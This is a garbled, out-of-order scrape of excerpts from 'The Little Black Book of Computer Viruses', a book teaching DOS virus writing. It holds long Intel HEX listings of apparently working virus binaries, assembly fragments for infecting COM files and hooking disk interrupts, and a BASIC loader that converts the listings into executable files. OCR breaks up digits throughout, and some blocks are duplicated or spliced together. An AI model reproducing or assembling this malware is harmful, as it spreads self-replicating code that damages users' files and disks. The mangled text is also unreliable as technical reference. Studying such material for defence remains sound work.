The Little Black Book of Computer Viruses phần 1 pot

... sort? Per-haps they are the electronic analog of the simplest one-celled8 The Little Black Book of Computer Viruses The Little Black Book of Computer Viruses Volume One: The Basic TechnologyBy ... has to put the program on 11 The Little Black Book of Computer Viruses The Basics of the Computer VirusA plethora of negative magazine articles and books havecatalyzed a new kind of hypochondria ... protected.4 The Little Black Book of Computer Viruses day to day computing. Many people think of viruses as sort of a black art. The purpose of this volume is to bring them out of the closet and...

... toFIND_FILEFINDBRFINDEXEFILE_OKFIRSTDIRNEXTDIRSUBDIR1(CURRENT)SUBDIR2SD 11 SD12 SD 21 SD 111 SD 112 SD1 21 SD 211 SD 111 2 SD 111 3 SD 211 1 SD 211 2ROOT DIRFigure 12 : Logic of the file search routines.62 The Little Black Book of Computer Viruses header has two parts to it, ... ah,ahSR1: nop int 1AH and al,63 ret64 The Little Black Book of Computer Viruses Next, move the first five bytes of the original host program from the data area START_CODE where they are ... relative to the start of the code in the EXE file. This is modified by DOS at load time. 18 H 2 Relocation Tbl Offset Offset of the start of the relocation table from the start of the file,...

... 10 8 :10 07D000D8B41ACD 218 CC88ED8C3B443B000BAAFF8 :10 07E00000CD 218 80E0001B443B001BAAF00B100C2 :10 07F000CD21BAAF00B002B43DCD21A3FE00B45765 :10 08000032C08B1EFE00CD 218 90E 010 18 916 03 012 5 :10 0 810 00A12200A30701A12000A30501C38B160399 :10 082000 018 B0E 010 1B457B0 018 B1EFE00CD21B427 :10 0830003E8B1EFE00CD 218 A0E00 013 2EDB443B086:0708400001BAAF00CD21C396:00000001FF ... Viruses :10 049000A2AF00FEC0A2FD00E8 010 0C3E8 510 07356 :10 04A0004C803EFD0000743FFE0EFD00BFAF00BE5D :10 04B000AA00E8BB004757E8760075235F32C0AA60 :10 04C000BFAF00BB4F00A0FD00B22BF6E203D88BFC :10 04D000F3E89C0057E8C4FF7 412 E8760074DDFE70 :10 04E00006FD005F32C0AAB0 010 AC0C35F32C0C3BC :10 04F000BA0600B41ACD21BFAF00BEA300E8700059 :10 05000057BAAF00B93F00B44ECD 210 AC07 519 5F8C :10 0 510 0047AABFAF00BE2400E855004F57E863006C :10 052000730CB44FCD21EBE35FC60500F9C35FC385 :10 053000E8 310 052B41ACD21BAAF00B 910 00B44E60 :10 054000CD 215 B0AC0751CF64 715 107406807F1E0E :10 0550002E750EE80E0052B41ACD21B44FCD21EB0A :10 056000E132C0C3BA 310 0B02BF626FD0003D0C380 :10 057000268A05470AC075F84F57FCACAA0AC07 511 :10 058000F95FC3E82300720DE80B007208E833003E :10 0590007203E84500C3B04DB45A3B0687007402AD :10 05A000F9C333C02B06A100C3BAAF00B8023DCDDA :10 05B000 217 20FA3FE008BD8B91C00BA8700B43F8C :10 05C000CD21C3A18F0003C003C02B068D0003C043 :10 05D00003C02B069F003D0800C3A19D0003068FAA :10 05E00000BA1000F7E28BCA8BD08B1EFE00B80059 :10 05F00042CD21B43F8B1EFE00BA0901B90200CDE5 :10 060000 217 20BA109 013 B060000F87501F9C3A096 :10 0 610 0005 012 40F7 419 B 910 002AC8BA2705 010 E64 :10 06200005 018 316 07 010 08B1EFE00B440CD21C3D7 :10 0630008B0E07 018 B1605 018 B1EFE00B80042CD04 :10 06400021E8CBFFB9270533D28B1EFE00B440CD85 :10 065000 218 B1605 018 B0E0701BB33 014 303D3BB6E :10 066000000 013 CB8B1EFE00B80042CD21BA9500CE :10 0670008B1EFE00B90200B440CD 218 B1605 018 B04 :10 0680000E0701BB39 014 303D3BB000 013 CB8B1E04 :10 069000FE00B80042CD21BA97008B1EFE00B902C1 :10 06A00000B440CD 218 B1605 018 B0E0701BB45 011 F :10 06B00083C3 010 3D3BB000 013 CB8B1EFE00B80025 :10 06C00042CD21BA9B008B1EFE00B90400B440CD80 :10 06D000 213 3C933D28B1EFE00B80042CD21A105C3 :10 06E00001B104D3E88B1E07 018 0E30FB104D2E30C :10 06F00002E32B068F00A39D00BB270583C 310 B127 :10 07000004D3EB03C3A39500B80C01A39B00B8006E :10 0 710 0001A397008B160701A10501BB270503C3A1 :10 07200033DB13D305000 213 D350B109D3E8B1076B :10 073000D3E203C2A38B005825FF01A38900B802AE :10 07400000 010 68D00B91C00BA87008B1EFE00B4A4 :10 07500040CD21A18D004848BB0400F7E303069F6C :10 07600000BB000 013 D38BCA8BD08B1EFE00B800D9 :10 07700042CD21A19D00BB33 014 3891E8700A3897F :10 07800000A19D00BB45 018 3C303891E8B00A38D7F :10 07900000B90800BA87008B1EFE00B440CD21C30B :10 07A00032E4C3CD1A80E200C3B090A28204C3B485 :10 07B0002FCD 218 91E02008CC0A304008CC88EC0DE :10 07C000BA0600B41ACD21C38B160200A104008E14Appendix ... Viruses :10 049000A2AF00FEC0A2FD00E8 010 0C3E8 510 07356 :10 04A0004C803EFD0000743FFE0EFD00BFAF00BE5D :10 04B000AA00E8BB004757E8760075235F32C0AA60 :10 04C000BFAF00BB4F00A0FD00B22BF6E203D88BFC :10 04D000F3E89C0057E8C4FF7 412 E8760074DDFE70 :10 04E00006FD005F32C0AAB0 010 AC0C35F32C0C3BC :10 04F000BA0600B41ACD21BFAF00BEA300E8700059 :10 05000057BAAF00B93F00B44ECD 210 AC07 519 5F8C :10 0 510 0047AABFAF00BE2400E855004F57E863006C :10 052000730CB44FCD21EBE35FC60500F9C35FC385 :10 053000E8 310 052B41ACD21BAAF00B 910 00B44E60 :10 054000CD 215 B0AC0751CF64 715 107406807F1E0E :10 0550002E750EE80E0052B41ACD21B44FCD21EB0A :10 056000E132C0C3BA 310 0B02BF626FD0003D0C380 :10 057000268A05470AC075F84F57FCACAA0AC07 511 :10 058000F95FC3E82300720DE80B007208E833003E :10 0590007203E84500C3B04DB45A3B0687007402AD :10 05A000F9C333C02B06A100C3BAAF00B8023DCDDA :10 05B000 217 20FA3FE008BD8B91C00BA8700B43F8C :10 05C000CD21C3A18F0003C003C02B068D0003C043 :10 05D00003C02B069F003D0800C3A19D0003068FAA :10 05E00000BA1000F7E28BCA8BD08B1EFE00B80059 :10 05F00042CD21B43F8B1EFE00BA0901B90200CDE5 :10 060000 217 20BA109 013 B060000F87501F9C3A096 :10 0 610 0005 012 40F7 419 B 910 002AC8BA2705 010 E64 :10 06200005 018 316 07 010 08B1EFE00B440CD21C3D7 :10 0630008B0E07 018 B1605 018 B1EFE00B80042CD04 :10 06400021E8CBFFB9270533D28B1EFE00B440CD85 :10 065000 218 B1605 018 B0E0701BB33 014 303D3BB6E :10 066000000 013 CB8B1EFE00B80042CD21BA9500CE :10 0670008B1EFE00B90200B440CD 218 B1605 018 B04 :10 0680000E0701BB39 014 303D3BB000 013 CB8B1E04 :10 069000FE00B80042CD21BA97008B1EFE00B902C1 :10 06A00000B440CD 218 B1605 018 B0E0701BB45 011 F :10 06B00083C3 010 3D3BB000 013 CB8B1EFE00B80025 :10 06C00042CD21BA9B008B1EFE00B90400B440CD80 :10 06D000 213 3C933D28B1EFE00B80042CD21A105C3 :10 06E00001B104D3E88B1E07 018 0E30FB104D2E30C :10 06F00002E32B068F00A39D00BB270583C 310 B127 :10 07000004D3EB03C3A39500B80C01A39B00B8006E :10 0 710 0001A397008B160701A10501BB270503C3A1 :10 07200033DB13D305000 213 D350B109D3E8B1076B :10 073000D3E203C2A38B005825FF01A38900B802AE :10 07400000 010 68D00B91C00BA87008B1EFE00B4A4 :10 07500040CD21A18D004848BB0400F7E303069F6C :10 07600000BB000 013 D38BCA8BD08B1EFE00B800D9 :10 07700042CD21A19D00BB33 014 3891E8700A3897F :10 07800000A19D00BB45 018 3C303891E8B00A38D7F :10 07900000B90800BA87008B1EFE00B440CD21C30B :10 07A00032E4C3CD1A80E200C3B090A28204C3B485 :10 07B0002FCD 218 91E02008CC0A304008CC88EC0DE :10 07C000BA0600B41ACD21C38B160200A104008E14Appendix...

... Viruses :10 6F8000BB357A8A073C807502B004B303F6E3058B :10 6F9000 417 18BD88A2F8A77 018 A4F028A56068BD5 :10 6FA0005E0A8B46028EC0B8 010 29CFF1E00708AEA :10 6FB000460C3C 017 46C5D071F5A595B5881C30035 :10 6FC0000250FEC8FEC180FA80753453 515 25657A4 :10 6FD0001E55061FC607008BF38BFB47B400BB0092 :10 6FE00002F7E38BC849F3A4F89C58894 614 5D1F47 :10 6FF0005F5E5A595B58B400FEC981EB0002CF9C1A :10 7000002EFF1E007050558BEC9C5889460A720C5E :10 7 010 0081EB0002FEC95D5858B400CF5D5883C4AF :10 70200002CF8B4 612 509DF89C58894 612 5D071F6F :10 7030005A595B58B400CF5D071F5A595B58E9CEC7 :10 704000FE27 010 94F 010 F4F 010 94F 011 2000007F0 :10 7050005053 515 21E06558BEC0E1F0E078AC2E884 :10 7060002D047308E828047303E9CB00E84E047488 :10 70700003E9C300BB357A8A073C807502B004B3CC :10 70800003F6E305 417 18BD88A2F8A77 018 A4F0274 :10 7090008A56068B5E0A8B46028EC0B8 010 39CFF9F :10 70A0001E0070FB8A560680FA807533C606357C52 :10 70B000805657BFBE7D8B760A81C6BE7D81EE00AD :10 70C0007C061F0E07B 914 00F3A50E1FB8 010 3BB 01 :10 70D000007CB9 010 0BA80009CFF1E00705F5E8AD0 :10 70E000460C3C 017 43C8A560680FA8074345D0775 :10 70F0001F5A595B5881C3000250FEC8FEC19C2E26 :10 710 000FF1E0070FB50558BEC9C5889460A720C90 :10 711 00081EB0002FEC95D5858B400CF5D5883C4AE :10 712 00002CF8B4 612 509DF89C58894 612 5D071F6E :10 713 0005A595B58B400CF5D071F5A595B58E9CEC6 :10 714 000FDE8550075375053 515 256571E558BEC7C :10 715 00026C60700061F8BF38BFB47B400BB00025B :10 716 000F7E38BC849F3A48B4 614 509DF89C5889CB :10 717 0004 614 5D1F5F5E5A595B58B400CFE98FFD1E :10 718 000E 816 0075F855508BEC8B4608509DF99C1D :10 719 0005889460858B4045DCF5053 515 21E060E0C :10 71A0001F0E078AC2E8E702730432C0EB03E80C43 :10 71B00003071F5A595B58C39C56575053 515 21ED0 :10 71C000060E070E1FFBBB137A8B1F8AC281FBD0F2 :10 71D000027505E82B00EB1F81FB60097505E8A12E :10 71E00000EB1481FBA0057505E82001EB0981FB8C :10 71F000400B7503E8 910 1071F5A595B585F5E9D6C :10 720000C38AD0B90300B600E 810 028BD87272BFEF :10 7 210 0 011 7A8B0525F0FF0B45020B450475628B37 :10 722000050D70FFABB8F77FABB8FF00AB8BC3B9F0 :10 72300003008AD3B600E8F0 017 2468AD0B905008F :10 724000B600E8E4 017 2F4E8450272358AD0B6 016 E :10 725000B90927E8D3 017 22950BF037CBE037AB96C :10 72600 019 00F3A5C606357C0058E839027 212 BB36 :10 72700000708AD0B601B90427B805039CFF1E0030 :10 72800070C38AD0B90800B600E88F 018 BD8727B32 :10 729000BFDD7B8B050B45020B45040B45060B45FB :10 72A000087568B8F77FABB8FFF7ABB87FFFABB82E :10 72B000F77FABB8FF00AB8BC3B908008AD3B60029 :10 72C000E866 017 2468AD0B90F00B600E85A 017 22A :10 72D000F4E8BB 017 2358AD0B601B90F4FE849 011 5 13 1 ... RISK!! 12 9 The Little Black Book of Computer Viruses :10 015 00 016 FD7D5BB870005033C050CB33D2F736FC :10 016 00 018 7CFEC28AEA33D2F7361A7C8 816 297CBC :10 017 0008BD0C3B402B106D2E60AF58BCA86E98AEF :10 018 00 016 FD7D8A36297CCD1372FEC3BE1E7CBF50 :10 019 0001E05B9DF01F3A4BE007CBF0005B90B004A :10 01A000F3A4C3BEC87DB40EAC0AC07404CD10EB7A :10 01B000F5C349424D42494F2020434F4D494F20FE :10 01C00020202020205359534B696C726F7920777F :10 01D000 617 32068657265 210 D0A0A000000000045 :10 01E000000000000000000000000000000000000F :10 01F000000000000000000000000000000055AA00:00000001FFTo ... follows: :10 000000EB28904B494C524F592020000202 010 02E :10 0 010 00027000D002FD0200090002000000000092 :10 002000000 012 00000000 010 000FA33C08EC08EF4 :10 003000D0BC007CBB780036C5371E5 616 53BF1E99 :10 0040007CB90B00FCAC26803D007503AAEB 014 790 :10 005000E2F38AC48ED8894702C7071E7CFBCD1302 :10 00600072FEE83E01BB0005803EFD7D80742EBA25 :10 00700080 018 03E7504007424B9 010 0B8 010 2CDEE :10 00800 013 721A 813 EFE0655AA7 512 E8FE00BA8068 :10 00900001B9 010 0B8 010 3CD137202EB32A 010 04C4 :10 00A00024C0D0C0D0C0FEC03C027223BA 010 0B848 :10 00B000 010 2B9 010 0CD137 216 813 EFE0655AA75E4 :10 00C0000EE8C800BA 010 0B8 010 3B9 010 0CD13A0C1 :10 00D00 010 7C32E4F72 616 7C03061C7C03060E7C9B :10 00E00050A3037CB82000F72 611 7C8B1E0B7C03E9 :10 00F000C348F7F3 010 6037CBB000558E85D00B078 :10 010 00001E86F008BFBB90B00BEB27DF3A6740C47 :10 011 0008BFBB90B00BEBD7DF3A675FEA11C05339C :10 012 000D2F7360B7CFEC08BE8A1037C50BB0007E6 :10 013 000A1037CE82600B001E8380083ED 017 40BD0 :10 014 0008306037C 010 31E0B7CEBE58A2E157C8A5B...

... 16 2 The Little Black Book of Computer Viruses Computer Viruses, Artificial Lifeand EvolutionBy Mark A. Ludwig, 373 Pages, 19 93, $26.95ISBN 0-929408-07 -1 Step into the 21st century where the ... Patrick Gelsinger, Programming the 80386 (Sybex, SanFransisco) 19 87, ISBN 0-89588-3 81- 3. Similar to the above, for the 80386. 16 6 The Little Black Book of Computer Viruses Viruses, etc.Philip Fites, ... Functions 16 1 The Giant Black Book of Computer Viruses by Mark A. Ludwig, 672 pages, 19 95, ISBN 0-929408 -10 -1, $39.95Without a doubt, this is the best technicalrefererence on computer viruses...

... when they are correctly written. Which-ever assembler you decide to use, though, the viruses in this book 19 The Little Black Book of Computer Viruses use to a DOS programmer today. Some of it ... this 13 The Little Black Book of Computer Viruses computer locks up, with everything on it ruined, most anyone canfigure out that they’ve been the victim of a destructive program.And if they’re ... ReservedAttrFirstCluster 10 H0 Byte 0FH1FH The Time FieldHours (0-23) Minutes (0-59) 15 Bit 0 The Date FieldYear (Relative to 19 80) Month (1- 12) Day (1- 31) 15 Bit 0 The Directory EntryFigure 5: The directory...

... FoundYesNo34 The Little Black Book of Computer Viruses cx:dx is used as the offset from the end of the file. Since the firstthing the virus must do is place its code at the end of the COM fileit ... dx,OFFSET COMFILE;set offset of asciiz string mov cl,0000 011 0B ;set hidden and system attributes32 The Little Black Book of Computer Viruses Once the file is open, the virus may perform the ... [HANDLE]44 The Little Black Book of Computer Viruses Now, with the main body of viral code appended to the end of the COM file under attack, the virus must do some clean-upwork. First, it must move the...

... + SEC_SIZE - 1] /SEC_SIZEand the size of the file in sectors. The file size in bytes is stored at the offset 1CH from the start of the directory entry at 0000:0500H. The number of sectors to ... boot sector which loads the oper-70 The Little Black Book of Computer Viruses MOV DX ,1 ;read drive B MOV AX,201H ;read one sector MOV CX ,1 ;read Track 0, Sector 1 INT 13 H JC LOOK_SYS ;if an ... access the disk.Rather than simply changing the address of the interrupt1EH vector, the boot sector goes through a more complex procedurethat allows the table to be built both from the data in the...

... DOS92 The Little Black Book of Computer Viruses VIRUS_START: call GET_START ;get start address;This is a trick to determine the location of the start of the program. We put ;the address of GET_START ... knows the disk isinfected. Otherwise it can infect the disk. The STEALTH virus usesits own code as an ID. It reads the boot sector and compares the 86 The Little Black Book of Computer Viruses ... shellt.exe 10 0 The Little Black Book of Computer Viruses Since the virus is already intercepting Interrupt 13 H toinfect disks, it is not too difficult to add a little functionality to the viral...

... #1 60 OPEN DFNAME$ FOR RANDOM AS #2 LEN =1 70 FIELD 2, 1 AS O$80 E=090 LINECT=0 10 0 IF EOF (1) THEN GOTO 16 0 11 0 LINE INPUT #1, S$ 12 0 LINECT=LINECT +1 130 GOSUB 200 14 0 GOTO 10 0 15 0 IF E =1 THEN ... #2, ADDR%+J% 410 NEXT J% 15 3 The Little Black Book of Computer Viruses 420 H$=LEFT$(S$ ,11 +2*COUNT%)430 H$=RIGHT$(H$,2)440 GOSUB 540450 CSUM%=CSUM%+X%460 IF (CSUM% AND 255) = 0 THEN RETURN470 ... Little Black Book of Computer Viruses Appendix F: The HEX File Loader The following basic program, LOAD.BAS, will translate the HEX listings in the previous four appendicies into COM files.The...